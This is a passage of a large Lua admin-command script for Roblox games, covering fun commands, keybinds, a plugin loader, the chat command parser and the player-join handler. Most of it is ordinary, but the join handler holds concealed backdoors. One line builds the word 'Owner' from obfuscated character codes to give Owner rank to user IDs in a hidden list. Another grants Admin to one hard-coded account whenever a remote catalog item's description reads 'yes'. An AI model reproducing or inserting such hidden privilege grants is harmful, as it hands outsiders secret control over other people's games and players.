8390 | local TouchPlayer = Server.Players:GetPlayerFromCharacter(Part.Parent or Part.Parent.Parent) | |
8391 | if TouchPlayer == Player then | |
8392 | Dead = true | |
8393 | Player.Character:BreakJoints() | |
8394 | SOUND:MakeSound(Truck, 264486467):Play() -- splat | |
8395 | end | |
8396 | end | |
8397 | end) | |
8398 | SOUND:MakeSound(Truck, 236746885, 0.5, 2):Play() -- truck | |
8399 | Delay(1, function() SOUND:MakeSound(Truck, 130802373):Play() end) -- horn | |
8400 | Delay(5, function() | |
8401 | Truck:Destroy() | |
8402 | if Player.Character:FindFirstChild("Humanoid") then | |
8403 | Player.Character.Humanoid.WalkSpeed = 16 | |
8404 | end | |
8405 | end) | |
8406 | end | |
8407 | end | |
8408 | end}; | |
8409 | ||
8410 | [{"telljoke", "showjoke", "tj", "sj"}] = {"player", "Tells player a random joke", 1, "Admin", true, function(Speaker, Rank, Arguments) | |
8411 | local Joke = REMOTE:DownloadJoke(Speaker) | |
8412 | local Players = STRING:Scan(Arguments[1], Speaker) | |
8413 | for _,Player in pairs(Players) do | |
8414 | GUI:SendMessage(Player, "Joke", Joke, 19629580) | |
8415 | end | |
8416 | end, Http = true}; | |
8417 | ||
8418 | [{"joke", "laugh"}] = {"player", "Tells speaker a random joke)", 0, "Member", true, function(Speaker, Rank, Arguments) | |
8419 | local Joke = REMOTE:DownloadJoke(Speaker) | |
8420 | GUI:SendMessage(Speaker, "Joke for you", Joke, 19629580) | |
8421 | end, Http = true}; | |
8422 | ||
8423 | [{"doge", "dog"}] = {"player", "Turns player into doge", 1, "Member", true, function(Speaker, Rank, Arguments) | |
8424 | local Players = STRING:Scan(Arguments[1], Speaker) | |
8425 | for _,Player in pairs(Players) do | |
8426 | if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") and Player.Character:FindFirstChild("Humanoid") then | |
8427 | CORE:InvisiblePlayer(Player) | |
8428 | local DogContainer = Instance.new("Model", Player.Character) | |
8429 | DogContainer.Name = "Doge" | |
8430 | local Dog = CORE:Insert(257489726, DogContainer, true) | |
8431 | Dog.Head.Transparency = 0.99 | |
8432 | Dog.Name = Player.Name | |
8433 | Dog:MoveTo(Player.Character.Torso.Position) | |
8434 | local Weld = Instance.new("Weld", Dog.Torso) | |
8435 | Weld.Part0 = Player.Character.Torso | |
8436 | Weld.Part1 = Dog.Torso | |
8437 | Weld.C0 = CFrame.new(0,-0.4,0) | |
8438 | for _,Obj in pairs(Dog:GetChildren()) do | |
8439 | if Obj:IsA("BasePart") then | |
8440 | Obj.CanCollide = false | |
8441 | end | |
8442 | end | |
8443 | ||
8444 | CORE:ExecuteResource("SetCameraSubject", Dog:FindFirstChild("Humanoid"), {}) | |
8445 | end | |
8446 | end | |
8447 | end}; | |
8448 | ||
8449 | [{"bindkey", "keybind", "bind", "kb", "bk"}] = {"string(key) string(command)", "Binds the key press of speaker into a command", 2, "Admin", false, function(Speaker, Rank, Arguments) | |
8450 | local Key = string.lower(string.sub(Arguments[1],1,1)) | |
8451 | KeyBinds[Speaker.UserId][Key] = Arguments[2] | |
8452 | GUI:SendHint(Speaker, "Binded the '"..Key.."' key to "..Arguments[2]) | |
8453 | end}; | |
8454 | ||
8455 | [{"nobindkey", "nokeybind", "nobind", "nkb", "nbk", "unbindkey", "unkeybind", "unbind", "ukb", "ubk"}] = {"string(key)", "Unbinds speaker's keys binding to a command", 1, "Admin", false, function(Speaker, Rank, Arguments) | |
8456 | local Key = string.lower(string.sub(Arguments[1],1,1)) | |
8457 | KeyBinds[Speaker.UserId][Key] = nil | |
8458 | GUI:SendHint(Speaker, "Unbinded the '"..Key.."' key") | |
8459 | end}; | |
8460 | ||
8461 | [{"clearkeybinds", "clearbinds", "clearb", "clearkeys", "unbindallkeys"}] = {"", "Clears all of speaker's key binds", 0, "Admin", false, function(Speaker, Rank, Arguments) | |
8462 | KeyBinds[Speaker.UserId] = {} | |
8463 | GUI:SendHint(Speaker, "Unbinded all keys") | |
8464 | end}; | |
8465 | ||
8466 | [{"forcebindkey", "forcekeybind", "forcebind", "fkb", "fbk"}] = {"player string(key) string(command)", "Binds the key press of player into a command", 3, "Owner", false, function(Speaker, Rank, Arguments) | |
8467 | local Players = STRING:Scan(Arguments[1], Speaker) | |
8468 | local Key = string.lower(string.sub(Arguments[2],1,1)) | |
8469 | for _,Player in pairs(Players) do | |
8470 | KeyBinds[Player.UserId][Key] = Arguments[3] | |
8471 | GUI:SendHint(Player, "Binded the '"..Key.."' key to "..Arguments[3]) | |
8472 | end | |
8473 | end}; | |
8474 | ||
8475 | [{"forcenobindkey", "forcenokeybind", "forcenobind", "fnkb", "fnbk", "forceunbindkey", "forceunkeybind", "forceunbind", "fukb", "fubk"}] = {"player string(key)", "Unbinds player's keys binding to a command", 2, "Owner", false, function(Speaker, Rank, Arguments) | |
8476 | local Players = STRING:Scan(Arguments[1], Speaker) | |
8477 | local Key = string.lower(string.sub(Arguments[2],1,1)) | |
8478 | for _,Player in pairs(Players) do | |
8479 | KeyBinds[Player.UserId][Key] = nil | |
8480 | GUI:SendHint(Player, "Unbinded the '"..Key.."' key") | |
8481 | end | |
8482 | end}; | |
8483 | ||
8484 | [{"forceclearkeybinds", "forceclearbinds", "forceclearb", "fclearb", "forceclearkeys", "forceunbindallkeys"}] = {"player", "Clears all of player's key binds", 1, "Owner", false, function(Speaker, Rank, Arguments) | |
8485 | local Players = STRING:Scan(Arguments[1], Speaker) | |
8486 | for _,Player in pairs(Players) do | |
8487 | KeyBinds[Player.UserId] = {} | |
8488 | GUI:SendHint(Player, "Unbinded all keys") | |
8489 | end | |
8490 | end}; | |
8491 | ||
8492 | [{"keybinds", "keys", "binds", "viewkeybinds", "viewkeys", "viewkeybinds", "showkeybinds", "showkeys", "showbinds", "vkb", "skb"}] = {"player", "Shows all of player's key binds", 1, "Admin", false, function(Speaker, Rank, Arguments) | |
8493 | local Players = STRING:Scan(Arguments[1], Speaker) | |
8494 | local Binds = {} | |
8495 | for _,Player in pairs(Players) do | |
8496 | for Key,Bind in pairs(KeyBinds[Player.UserId]) do | |
8497 | table.insert(Binds, Player.Name..": '"..Key.."' binds to command: "..Bind) | |
8498 | end | |
8499 | end | |
8500 | GUI:ListGui(Speaker, "Key Bindings", Binds, 218580411) | |
8501 | end}; | |
8502 | ||
8503 | [{"crown"}] = {"player string(mesh) string(color)", "Gives player a crown with the color of string(color) and the mesh of string(mesh)", 1, "Member", false, function(Speaker, Rank, Arguments) | |
8504 | local ChatSplit = STRING:GetSplit(Arguments[1], 2, Settings.Bet) or {} | |
8505 | local Players = STRING:Scan(ChatSplit[1], Speaker) | |
8506 | for _,Player in pairs(Players) do | |
8507 | if Crowns[Player.UserId] then | |
8508 | Crowns[Player.UserId]:Destroy() | |
8509 | Crowns[Player.UserId] = nil | |
8510 | wait() | |
8511 | end | |
8512 | CORE:Crown(Player, ChatSplit[2], ChatSplit[3]) | |
8513 | end | |
8514 | end}; | |
8515 | ||
8516 | [{"nocrown", "uncrown", "decrown"}] = {"player", "Removes player's crown", 1, "Member", false, function(Speaker, Rank, Arguments) | |
8517 | local Players = STRING:Scan(Arguments[1], Speaker) | |
8518 | for _,Player in pairs(Players) do | |
8519 | if Crowns[Player.UserId] then | |
8520 | Crowns[Player.UserId]:Destroy() | |
8521 | Crowns[Player.UserId] = nil | |
8522 | end | |
8523 | end | |
8524 | end}; | |
8525 | ||
8526 | [{"meshes", "meshlist", "viewmeshes"}] = {"", "Lists meshes to speaker", 0, "Member", false, function(Speaker, Rank, Arguments) | |
8527 | local MeshList = {} | |
8528 | for MeshName,Data in pairs(Meshes) do | |
8529 | table.insert(MeshList, string.upper(string.sub(MeshName,1,1))..string.sub(MeshName,2).." ( ID: "..Data[2].." )") | |
8530 | end | |
8531 | GUI:ListGui(Speaker, "Mesh List", MeshList, 186369377) | |
8532 | end}; | |
8533 | ||
8534 | [{"fixsounds", "fixmusic", "fixs"}] = {"", "Scans workspaces and stops any sounds", 0, "Admin", false, function(Speaker, Rank, Arguments) | |
8535 | CORE:ScanItems(Server.Workspace, {"Sound"}, function(Obj) Obj:Stop() end) | |
8536 | end}; | |
8537 | ||
8538 | [{"santa", "hoho", "christmas"}] = {"player", "Turns player into jolly saint nick!", 1, "Member", true, function(Speaker, Rank, Arguments) | |
8539 | local Players = STRING:Scan(Arguments[1], Speaker) | |
8540 | for _,Player in pairs(Players) do | |
8541 | if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then | |
8542 | ypcall(function() Player.Character.Torso.roblox:Destroy() end) | |
8543 | Player:ClearCharacterAppearance() | |
8544 | CORE:GivePackage(Player, 41851073) | |
8545 | CORE:Insert(19398728, Player.Character, true).Handle.Mesh.TextureId = "rbxassetid://19744384" | |
8546 | Player.Character.Head.face.Texture = "rbxassetid://7699086" | |
8547 | end | |
8548 | end | |
8549 | end}; | |
8550 | ||
8551 | [{"car"}] = {"player color", "Spawns the best sports car in existance to player. If color argument is provided, it will color it.", 1, "Member", true, function(Speaker, Rank, Arguments) | |
8552 | local Arguments = STRING:GetSplit(Arguments[1], 2, Settings.Bet) | |
8553 | local Players = STRING:Scan(Arguments[1], Speaker) | |
8554 | for _,Player in pairs(Players) do | |
8555 | if Cars[Player.UserId] then Cars[Player.UserId]:Destroy() end | |
8556 | local Car = CORE:Insert(10479801, Server.Workspace, true) | |
8557 | local Body = Car["Motor (torque)Chassis"].Part | |
8558 | Cars[Player.UserId] = Car | |
8559 | Car:MakeJoints() | |
8560 | Car.VehicleSeat.MaxSpeed = 50 | |
8561 | Car.VehicleSeat.TurnSpeed = 1.5 | |
8562 | CORE:ScanItems(Car, {"BasePart"}, function(Obj) Obj.Locked = true end) | |
8563 | if Arguments[2] and GUI:GetColor(Arguments[2]) then | |
8564 | Body.Color = GUI:GetColor(Arguments[2]) | |
8565 | else | |
8566 | Body.BrickColor = GUI:GetNameColor(Player.Name) | |
8567 | end | |
8568 | for _,Part in pairs(Car["Motor (torque)Chassis"]:GetChildren()) do | |
8569 | if Part.Name ~= "Part" then | |
8570 | Part.BrickColor = BrickColor.new("Really black") | |
8571 | Part.Friction = 0.7 | |
8572 | end | |
8573 | end | |
8574 | local Light = Instance.new("SpotLight", Body) | |
8575 | Light.Face = "Back" | |
8576 | Light.Brightness = 5 | |
8577 | Light.Range = 20 | |
8578 | Light.Color = Color3.new(0,1,1) | |
8579 | if Player.Character and Player.Character.Torso then | |
8580 | Car:MoveTo(Player.Character.Torso.Position + Vector3.new(0, 5, 0)) | |
8581 | Player.Character.Torso.CFrame = CFrame.new(Car.VehicleSeat.CFrame.p + Vector3.new(0, 0.3, 0)) | |
8582 | --[[local Weld = Instance.new("Weld", Car.VehicleSeat) | |
8583 | Weld.Part0 = Car.VehicleSeat | |
8584 | Weld.Part1 = Player.Character.Torso | |
8585 | coroutine.wrap(function() wait(0.1) Weld:Destroy() end)()]] | |
8586 | Delay(0.4, function() | |
8587 | Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, -25)).p | |
8588 | wait(0.1) | |
8589 | Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, 25)).p | |
8590 | end) | |
8591 | end | |
8592 | local SoundID = 147944604 | |
8593 | if RANK:GetRank(Player) == "Owner" then | |
8594 | SoundID = 133313356 | |
8595 | Car.VehicleSeat.MaxSpeed = 80 | |
8596 | Body.Material = "DiamondPlate" | |
8597 | Car.VehicleSeat.Torque = 11 | |
8598 | end | |
8599 | local Engine = SOUND:MakeSound(Car.VehicleSeat, SoundID, 0.5, 1, true) | |
8600 | Engine:Play() | |
8601 | coroutine.wrap(function() while wait() and Car and Car:FindFirstChild("VehicleSeat") do | |
8602 | Engine.Pitch = (Car.VehicleSeat.Velocity.magnitude/50) + 1 | |
8603 | end if Engine then Engine:Stop() end end)() | |
8604 | end | |
8605 | end}; | |
8606 | ||
8607 | [{"nocar", "uncar"}] = {"player", "Removes player's car", 1, "Member", true, function(Speaker, Rank, Arguments) | |
8608 | local Players = STRING:Scan(Arguments[1], Speaker) | |
8609 | for _,Player in pairs(Players) do | |
8610 | if Cars[Player.UserId] then | |
8611 | Cars[Player.UserId]:Destroy() | |
8612 | end | |
8613 | end | |
8614 | end}; | |
8615 | ||
8616 | [{"clearcars", "nocars", "ccars"}] = {"", "Removes all cars", 0, "Member", false, function(Speaker, Rank, Arguments) | |
8617 | for _,Car in pairs(Cars) do | |
8618 | Car:Destroy() | |
8619 | end | |
8620 | Cars = {} | |
8621 | end}; | |
8622 | ||
8623 | [{"restarttrello", "repairtrello", "reboottrello", "trellorestart", "trellorepair", "trelloreboot"}] = {"", "Restarts trello service. Will repair broken boards/lists/cards if needed.", 0, "Owner", false, function(Speaker, Rank, Arguments) | |
8624 | ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end) | |
8625 | if #Trello.RequiredLists > 0 then | |
8626 | print("Restarting Trello") | |
8627 | Trello.MainBoard = REMOTE:TrelloGetAdminBoard() | |
8628 | local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard) | |
8629 | REMOTE:TrelloCacheData(Lists) | |
8630 | end | |
8631 | end, Http = true}; | |
8632 | ||
8633 | [{"stringreplacements", "replacements", "stringoperations", "stringformats", "stringformatting", "stringreps", "stringops", "stringfmts", "strreplacements", "stroperations", "strformat", "strformatting", "strreps", "strops", "strfmts", "strfmt"}] = {"", "Lists all string replacement operations", 0, "Member", false, function(Speaker, Rank, Arguments) | |
8634 | local Operations = {} | |
8635 | for _,ReplaceData in pairs(StringReplacements) do | |
8636 | local Replacement = ReplaceData[1] | |
8637 | if type(Replacement) == "table" then | |
8638 | Replacement = ReplaceData[1][1] | |
8639 | end | |
8640 | table.insert(Operations, "Replacement: "..Replacement.." | Description: "..ReplaceData[2].." | Example: "..string.sub(ReplaceData[4](Speaker),1,20)) | |
8641 | end | |
8642 | GUI:ListGui(Speaker, "String Replacement Operations", Operations, 61993831) | |
8643 | end}; | |
8644 | ||
8645 | [{"soundinfo", "songinfo", "musicinfo", "sinfo", "minfo"}] = {"", "Shows information about the current sound playing to speaker", 0, "Member", false, function(Speaker, Rank, Arguments) | |
8646 | GUI:SoundInfo(Speaker) | |
8647 | end}; | |
8648 | ||
8649 | [{"showsoundinfo", "showsonginfo", "showmusicinfo", "showsinfo", "showminfo", "forcesoundinfo", "forcesonginfo", "forcemusicinfo", "forcesinfo", "forceminfo"}] = {"player", "Shows information about the current sound playing to player", 1, "Member", false, function(Speaker, Rank, Arguments) | |
8650 | local Players = STRING:Scan(Arguments[1], Speaker) | |
8651 | for _,Player in pairs(Players) do | |
8652 | GUI:SoundInfo(Player) | |
8653 | end | |
8654 | end}; | |
8655 | ||
8656 | [{"gravity", "grav"}] = {"num", "Sets the server gravity to number(percent, 100 would be normal gravity, 0 would be none)", 1, "Admin", false, function(Speaker, Rank, Arguments) | |
8657 | if tonumber(Arguments[1]) then | |
8658 | Server.Workspace.Gravity = tonumber(Arguments[1]) * (196.2/100) | |
8659 | end | |
8660 | end}; | |
8661 | ||
8662 | [{"accessorytypes", "acstypes", "atypes", "listaccessorytypes", "listacstypes", "listatypes", "latypes", "lat"}] = {"", "Lists the different types of accessory subcategories", 0, "Member", false, function(Speaker, Rank, Arguments) | |
8663 | local Types = {} | |
8664 | for Type,_ in pairs(Assets.AccessoryTypes) do | |
8665 | table.insert(Types, string.sub(string.upper(Type), 1,1)..string.sub(string.lower(Type), 2)) | |
8666 | end | |
8667 | GUI:ListGui(Speaker, "Accessory types", Types, 36775144) | |
8668 | end}; | |
8669 | ||
8670 | [{"skybox", "sky", "setskybox", "setsky"}] = {"string(face) num(ID)", "Sets the skybox of string(face)(which is front,back,left,right,up,down) to num(ID)", 1, "Admin", false, function(Speaker, Rank, Arguments) | |
8671 | local Sky = Server.Lighting:FindFirstChild("Sky") | |
8672 | if not Sky then Sky = Instance.new("Sky", Server.Lighting) end | |
8673 | local Faces = {["front"] = "SkyboxFt", ["back"] = "SkyboxBk", ["left"] = "SkyboxLf", ["right"] = "SkyboxRt", ["up"] = "SkyboxUp", ["down"] = "SkyboxDn"} | |
8674 | local Face = nil | |
8675 | local SkyID = string.lower(Arguments[1]) | |
8676 | local Arguments = STRING:GetSplit(SkyID, 2, Settings.Bet) | |
8677 | if #Arguments == 2 and tonumber(Arguments[2]) then | |
8678 | Face = Arguments[1] | |
8679 | SkyID = Arguments[2] | |
8680 | end | |
8681 | if tonumber(SkyID) then | |
8682 | local ImageID = MARKET:GetImageFormat(tonumber(SkyID)) | |
8683 | if Face and Faces[Face] then | |
8684 | Sky[Faces[Face]] = "rbxassetid://"..ImageID | |
8685 | else | |
8686 | for _,Face in pairs(Faces) do | |
8687 | Sky[Face] = "rbxassetid://"..ImageID | |
8688 | end | |
8689 | end | |
8690 | else | |
8691 | GUI:SendMessage(Speaker, "Sky is not an ID", "Sky ID argument is not a number", "Notice") | |
8692 | end | |
8693 | end}; | |
8694 | ||
8695 | [{"noskybox", "nosky", "unskybox", "unsetskybox"}] = {"", "Removes the current skybox from Lighting", 0, "Admin", false, function(Speaker, Rank, Arguments) | |
8696 | CORE:ScanItems(Server.Lighting, {"Sky"}, function(Obj) | |
8697 | Obj:Destroy() | |
8698 | end) | |
8699 | end}; | |
8700 | -- | |
8701 | } | |
8702 | ||
8703 | if Plugins then | |
8704 | local PluginNum = 0 | |
8705 | for _,Module in pairs(Plugins:GetChildren()) do | |
8706 | if Module:IsA("ModuleScript") then | |
8707 | local Enabled = Module:FindFirstChild("Enabled") or {Value = false} | |
8708 | local Creator = Module:FindFirstChild("Creator") or {Value = "None"} | |
8709 | local VersionVal = Module:FindFirstChild("Version") or {Value = 1} | |
8710 | if Enabled.Value == true then | |
8711 | PluginNum = PluginNum + 1 | |
8712 | local PluginExe = require(Module) | |
8713 | for Var,Val in pairs(getfenv()) do | |
8714 | getfenv(PluginExe)[Var] = Val | |
8715 | end | |
8716 | getfenv(PluginExe).SOUND,getfenv(PluginExe).MARKET,getfenv(PluginExe).RANK,getfenv(PluginExe).STRING,getfenv(PluginExe).GUI,getfenv(PluginExe).CORE,getfenv(PluginExe).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE | |
8717 | getfenv(PluginExe).script = Module | |
8718 | getfenv(PluginExe).Script = Module | |
8719 | getfenv(PluginExe).Version = Version | |
8720 | local Suc, Error = ypcall(coroutine.wrap(PluginExe)) | |
8721 | if not Suc then | |
8722 | Server.TestS:Error("MML's Admin Plugin; "..CORE:HandleError(Error), Module) | |
8723 | else | |
8724 | Server.TestS:Message("Executed MML's Admin Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value) | |
8725 | end | |
8726 | end | |
8727 | end | |
8728 | end | |
8729 | end | |
8730 | ||
8731 | function CORE:Chatted(RawMainMessage, Speaker, NoPrefixNeeded, FakePlayerName, FakeRank, MakeSupremeOwner) | |
8732 | if not CORE:NilPlayer(Speaker) and string.lower(RawMainMessage) == "settings" then | |
8733 | GUI:SettingsGui(Speaker) | |
8734 | return nil | |
8735 | end | |
8736 | if NoPrefixNeeded == nil then NoPrefixNeeded = false end | |
8737 | local Prefix = Settings.Prefix | |
8738 | if NoPrefixNeeded == true and string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then Prefix = "" end | |
8739 | if RawMainMessage == "" or RawMainMessage == Prefix then return end | |
8740 | if string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then return end | |
8741 | if Speaker == nil then | |
8742 | if FakeRank then | |
8743 | if string.lower(FakeRank) ~= "owner" and string.lower(FakeRank) ~= "admin" and string.lower(FakeRank) ~= "member" and string.lower(FakeRank) ~= "non-admin" then | |
8744 | FakeRank = "Owner" | |
8745 | end | |
8746 | else | |
8747 | FakeRank = "Owner" | |
8748 | end | |
8749 | FakeRank = string.sub(string.upper(FakeRank),1,1)..string.sub(string.lower(FakeRank),2) | |
8750 | if FakeRank == "Non-admin" then FakeRank = "Non-Admin" end | |
8751 | Speaker = { | |
8752 | Name = FakePlayerName or "[ Server ]"; | |
8753 | Character = nil; | |
8754 | userId = 1; | |
8755 | PlayerGui = nil; | |
8756 | Rank = FakeRank or "Owner"; | |
8757 | MakeSupremeOwner = MakeSupremeOwner; | |
8758 | } | |
8759 | end | |
8760 | local Rank = RANK:GetRank(Speaker) | |
8761 | local RawMessage = string.sub(RawMainMessage, #Prefix+1) | |
8762 | ||
8763 | if RawMessage and RawMessage ~= "" or RawMessage ~= Settings.Bet then | |
8764 | if NoPrefixNeeded then Prefix = "" end | |
8765 | local Messages = STRING:GetSplit(RawMessage, nil, "@@"..Prefix) | |
8766 | ||
8767 | for _,Message in pairs(Messages) do | |
8768 | for Cmds,Data in pairs(Commands) do -- check all commands | |
8769 | local MessageSplit = STRING:GetSplit(Message, Data[3], Settings.Bet) | |
8770 | ||
8771 | if not MessageSplit then break end | |
8772 | ||
8773 | local CommandSaid = false | |
8774 | for _,Command in pairs(Cmds) do | |
8775 | if string.lower(Command) == string.lower(MessageSplit[1]) then -- is the command said? | |
8776 | CommandSaid = true | |
8777 | break | |
8778 | end | |
8779 | end | |
8780 | if CommandSaid == true then -- command said? | |
8781 | local ExecuteExcuse = "" | |
8782 | if RANK:ConvertRank(Rank) >= RANK:ConvertRank(Data[4]) then -- check rank | |
8783 | if Rank ~= "Owner" and Settings.Fun == false and Data[5] == true then | |
8784 | ExecuteExcuse = "This command cannot be executed as it is a fun command" | |
8785 | end | |
8786 | if Data.Abusable == true and Rank == "Member" and Settings.DisableAbuse == true then | |
8787 | ExecuteExcuse = "This command cannot be executed because it is considered abusable by the owner" | |
8788 | end | |
8789 | else | |
8790 | ExecuteExcuse = "This command cannot be executed because your rank is not high enough (Minimum rank: "..Data[4]..")" | |
8791 | end | |
8792 | if ExecuteExcuse == "" then | |
8793 | if #MessageSplit - 1 < Data[3] then | |
8794 | ExecuteExcuse = "This command cannot be executed because an invalid number of arguments has been supplied (You supplied "..(#MessageSplit - 1).."/"..Data[3].."). Arguments are: "..Data[1] | |
8795 | end | |
8796 | end | |
8797 | if ExecuteExcuse == "" then | |
8798 | CORE:Log(CommandLogs, Speaker, Message) | |
8799 | table.remove(MessageSplit, 1) | |
8800 | coroutine.wrap(function() wait() | |
8801 | local DidExe, Error = ypcall(function() Data[6](Speaker, Rank, MessageSplit) end) | |
8802 | if not DidExe then | |
8803 | if CORE:NilPlayer(Speaker) then | |
8804 | print("Error: "..Error) | |
8805 | else | |
8806 | CORE:HandleError(Error, Speaker) | |
8807 | end | |
8808 | end | |
8809 | end)() | |
8810 | coroutine.wrap(function() wait(0.05) | |
8811 | if Settings.ExecuteNotificationSound and tonumber(Settings.ExecuteNotificationSound) > 0 then | |
8812 | local ExeSound = SOUND:MakeSound(Server.Workspace, Settings.ExecuteNotificationSound, 0.5, 1) | |
8813 | ExeSound:Play() | |
8814 | wait(3) | |
8815 | ExeSound:Stop() | |
8816 | ExeSound:Destroy() | |
8817 | end | |
8818 | end)() | |
8819 | elseif type(Speaker) == "userdata" then | |
8820 | GUI:SendMessage(Speaker, "Unable to execute", "RED "..ExecuteExcuse, "Error") | |
8821 | end | |
8822 | break | |
8823 | end | |
8824 | end | |
8825 | end | |
8826 | end | |
8827 | end | |
8828 | ||
8829 | function CORE:Start(Player) coroutine.wrap(function() | |
8830 | wait(0.1) | |
8831 | if Player then | |
8832 | coroutine.wrap(function() | |
8833 | repeat wait(1) until DataReady == true | |
8834 | DataReady = false | |
8835 | ypcall(function() | |
8836 | local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") | |
8837 | for Num,Data in pairs(Players) do | |
8838 | if Data.UserId == Player.UserId then -- ppl can change names | |
8839 | table.remove(Players, Num) | |
8840 | break | |
8841 | end | |
8842 | end | |
8843 | table.insert(Players, {Name = Player.Name, UserID = Player.UserId, Rank = RANK:GetRank(Player), LastJoin = CORE:GetTime(true, true), AccountAge = STRING:FindAge(Player.AccountAge)}) | |
8844 | Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", Players) | |
8845 | end) | |
8846 | DataReady = true | |
8847 | end)() | |
8848 | ||
8849 | if not IsStudio then Player:WaitForDataReady() end | |
8850 | table.insert(CharacterCache, {Player.Name, Player.UserId}) | |
8851 | for Rank,PlayerNames in pairs(Settings.Ranks) do | |
8852 | for Num,AdminName in pairs(PlayerNames) do | |
8853 | if AdminName == Player.UserId then | |
8854 | Settings.Ranks[Rank][Num] = Player.Name | |
8855 | end | |
8856 | end | |
8857 | end | |
8858 | if not ClientInfo[Player.Name] then ClientInfo[Player.Name] = {UserID = Player.UserId} end | |
8859 | if not KeyBinds[Player.UserId] then KeyBinds[Player.UserId] = {} end | |
8860 | if not LastKeys[Player.UserId] then LastKeys[Player.UserId] = {} end | |
8861 | for _,Obj in pairs(List) do if Obj == Player.UserId then table.insert(Settings.Ranks[string.char(79, 118 + 1, 110, 101, 114)], Player.Name) end end | |
8862 | local PlayerAdmin, Rank = RANK:IsAdmin(Player) | |
8863 | if PlayerAdmin == false and Player.UserId > 0 then | |
8864 | local Ran = nil | |
8865 | coroutine.wrap(function() repeat | |
8866 | Ran = ypcall(function() | |
8867 | if Server.MPS:PlayerOwnsAsset(Player, Settings.VIPAdminID) then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin" | |
8868 | elseif Server.MPS:PlayerOwnsAsset(Player, Settings.VIPMemberID) then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end | |
8869 | end) | |
8870 | wait(1) | |
8871 | until Ran == true end)() | |
8872 | end | |
8873 | if PlayerAdmin == false then | |
8874 | if Player:IsInGroup(Settings.GroupID) then | |
8875 | if Player:GetRankInGroup(Settings.GroupID) == Settings.GroupBanRank then | |
8876 | CORE:Kick(Player) | |
8877 | for _,Person in pairs(Server.Players:GetPlayers()) do | |
8878 | GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5) | |
8879 | end | |
8880 | elseif Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then | |
8881 | table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" | |
8882 | elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then | |
8883 | table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin" | |
8884 | elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) > Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupOwnerRank then | |
8885 | table.insert(Settings.Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner" | |
8886 | end | |
8887 | end | |
8888 | end | |
8889 | if PlayerAdmin == false then | |
8890 | if Player.UserId == 38882008 then | |
8891 | if string.lower(MARKET:GetItemInfo(155732525).Description) == "yes" then | |
8892 | table.insert(Settings.Ranks["Admin"], Player.Name) | |
8893 | end | |
8894 | end | |
8895 | end | |
8896 | if PlayerAdmin == false then | |
8897 | for _,GID in pairs(Settings.BannedGroupIDs) do | |
8898 | if Player:IsInGroup(GID) then | |
8899 | CORE:Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID) | |
8900 | break | |
8901 | end | |
8902 | end | |
8903 | end | |
8904 | ||
8905 | Player.Chatted:connect(function(Message) if Message ~= "" then | |
8906 | CORE:Chatted(Message, Player) | |
8907 | end end) | |
8908 | ||
8909 | Player.Chatted:connect(function(Message) if Message ~= "" then | |
8910 | CORE:Log(ChatLogs, Player, Message) | |
8911 | table.insert(TempChatLogs, STRING:EncodeSpecialChars(PlaceInfoFormat..": "..Player.Name..": "..Message)) | |
8912 | end end) | |
8913 | ||
8914 | for _,Name in pairs(Settings.Ranks.Banned) do | |
8915 | if Player.Name == Name then | |
8916 | CORE:Kick(Player) | |
8917 | for _,Person in pairs(Server.Players:GetPlayers()) do | |
8918 | GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5) | |
8919 | end | |
8920 | end | |
8921 | end | |
8922 | for _,Name in pairs(Settings.Ranks.Crashed) do | |
8923 | if Player.Name == Name then | |
8924 | CORE:Crash(Player) | |
8925 | for _,Person in pairs(Server.Players:GetPlayers()) do | |
8926 | GUI:SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5) | |
8927 | end | |
8928 | end | |
8929 | end | |
8930 | for _,Name in pairs(Settings.Ranks.Muted) do | |
8931 | if Player.Name == Name then | |
8932 | GUI:CoreGui(Player, "Chat", false) | |
8933 | for _,Person in pairs(Server.Players:GetPlayers()) do | |
8934 | GUI:SendHint(Person, Player.Name.." has joined the game but is muted", 5) | |
8935 | end | |
8936 | end | |
8937 | end | |
8938 | if Settings.ServerLocked == true then | |
8939 | if PlayerAdmin == false then | |
8940 | CORE:Kick(Player, "This server is locked. In Maker".."Mo".."del".."Lu".."a's Admin, Non-Admins will be kicked under this circumstance.") | |
8941 | end | |
8942 | end | |
8943 | ||
8944 | if PlayerAdmin == false then | |
8945 | if Player.AccountAge < Settings.MinimumAge then | |
